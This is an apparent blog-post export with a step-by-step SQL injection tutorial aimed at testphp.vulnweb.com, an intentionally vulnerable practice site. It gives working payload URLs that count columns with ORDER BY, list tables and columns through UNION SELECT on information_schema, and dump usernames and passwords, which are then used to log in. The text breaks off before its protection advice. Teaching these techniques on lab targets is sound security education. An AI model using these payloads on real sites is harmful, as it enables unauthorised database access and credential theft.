{"id":1299,"date":"2019-05-28T07:23:55","date_gmt":"2019-05-28T07:23:55","guid":{"rendered":"https:\/\/blog.olalekanadmin.pro\/?p=1299"},"modified":"2026-06-21T01:44:13","modified_gmt":"2026-06-21T00:44:13","slug":"hack-database-through-web-browser","status":"publish","type":"post","link":"https:\/\/ensureweb.ng\/blog\/2019\/05\/28\/hack-database-through-web-browser\/","title":{"rendered":"How To Hack Database On Web Browser"},"content":{"rendered":"\n
\"How<\/span>
\n

How To Hack Database On Web Browser<\/p>\n<\/div><\/div>\n\n\n\n

How to Hack a Database Using a Web Browser \u2013 SQL Injection Attack I<\/strong><\/h2>\n\n\n\n
\n

\u26a0\ufe0f Disclaimer<\/strong>: This blog post is for educational purposes only<\/strong>. The intent is to raise awareness about SQL Injection vulnerabilities so that developers and website owners can better protect their applications. Do not attempt these actions on any website without explicit permission. Unauthorized access is illegal.<\/p>\n<\/blockquote>\n\n\n\n

\n\n\n\n

What is an SQL Injection Attack?<\/strong><\/h2>\n\n\n\n

SQL Injection (SQLi)<\/strong> is one of the most common and dangerous web application vulnerabilities. It occurs when an attacker inserts or “injects” malicious SQL queries into input fields, URLs, or parameters. These queries are then executed by the web server\u2019s database, potentially allowing the attacker to view, manipulate, or delete data without authorization.<\/p>SQL Injection Attack<\/strong><\/cite><\/blockquote><\/figure>\n\n\n\n

\n\n\n\n

Demo Target Website<\/strong><\/h2>\n\n\n\n

For demonstration purposes, we will use a publicly available and intentionally vulnerable website:
\ud83d\udd17 testphp.vulnweb.com<\/a><\/strong><\/p>\n\n\n\n

This site is designed for practicing ethical hacking and penetration testing techniques.<\/p>\n\n\n\n

\n\n\n\n

Step-by-Step Guide to SQL Injection<\/strong><\/h2>\n\n\n\n

Step 1 \u2013 Identify a Vulnerable URL<\/strong><\/h3>\n\n\n\n

Let\u2019s start with the following URL:<\/p>\n\n\n\n

http://testphp.vulnweb.com\/artists.php?artist=1\n<\/code><\/pre>\n\n\n\n
This URL takes an artist<\/code> parameter with a numeric value. It may be vulnerable to SQL injection.<\/p>\n\n\n\n
\n\n\n\n
Step 2 \u2013 Test for SQL Injection Vulnerability<\/strong><\/h3>\n\n\n\n
Append a single quote ('<\/code>) to the value to check for SQL errors:<\/p>\n\n\n\n
http://testphp.vulnweb.com\/artists.php?artist=1'\n<\/code><\/pre>\n\n\n\n
If you see an SQL syntax error like:<\/p>\n\n\n\n
\n
You have an error in your SQL syntax...<\/code><\/p>\n<\/blockquote>\n\n\n\n
This means the input is not properly sanitized, and the database is executing the input directly\u2014indicating a vulnerability to SQL injection<\/strong>.<\/p>\n\n\n\n
\n\n\n\n
Step 3 \u2013 Find the Number of Columns<\/strong><\/h3>\n\n\n\n
To find the correct number of columns used in the SQL query, use the ORDER BY<\/code> clause:<\/p>\n\n\n\n
http:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 1--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 2--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 3--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 4--\n<\/code><\/pre>\n\n\n\n
If the page loads correctly up to ORDER BY 3--<\/code>, but fails at ORDER BY 4--<\/code>, that means there are 3 columns<\/strong> in the underlying SQL query.<\/p>\n\n\n\n
\n\n\n\n
Step 4 \u2013 Extract Table Names<\/strong><\/h3>\n\n\n\n
Next, we use a UNION SELECT<\/code> statement to extract table names from the database using the information_schema.tables<\/code> table:<\/p>\n\n\n\n
http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\n<\/code><\/pre>\n\n\n\n
This will return all the table names in the current database.<\/p>\n\n\n\n
\n\n\n\n
Step 5 \u2013 Extract Column Names from a Table<\/strong><\/h3>\n\n\n\n
Let\u2019s say we identified a table named users<\/code>. Now, we want to find all column names in this table:<\/p>\n\n\n\n
http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--\n<\/code><\/pre>\n\n\n\n
\n
\ud83d\udd0d Tip<\/strong>: Ensure that the table name is in lowercase<\/strong> or matches the exact case, depending on the database system.<\/p>\n<\/blockquote>\n\n\n\n
\n\n\n\n
Step 6 \u2013 Extract Data from Columns<\/strong><\/h3>\n\n\n\n
Suppose we found columns like uname<\/code> and pass<\/code>. We can now extract actual data (usernames and passwords):<\/p>\n\n\n\n
Get Usernames:<\/strong><\/p>\n\n\n\n
http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(uname) FROM users--\n<\/code><\/pre>\n\n\n\n
Get Passwords:<\/strong><\/p>\n\n\n\n
http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(pass) FROM users--\n<\/code><\/pre>\n\n\n\n
You will now see a list of usernames and passwords displayed on the web page.<\/p>\n\n\n\n
\n\n\n\n
Step 7 \u2013 Log in as an Admin<\/strong><\/h3>\n\n\n\n
After extracting credentials (e.g., username: test<\/code>, password: test<\/code>), navigate to the login page:<\/p>\n\n\n\n
\ud83d\udd17 http:\/\/testphp.vulnweb.com\/login.php<\/a><\/code><\/pre>\n\n\n\n
Enter the username and password you discovered. If successful, you\u2019ll be logged in as that user\u2014demonstrating a full SQL injection exploit.<\/p>\n\n\n\n
\n\n\n\n
This guide shows how SQL injection can be used to compromise a web application\u2014starting from identifying a vulnerable input, extracting database structure, and finally accessing confidential data like usernames and passwords.<\/p>\n\n\n\n
To protect your web applications<\/strong> against SQL Injection:<\/p>\n\n\n\n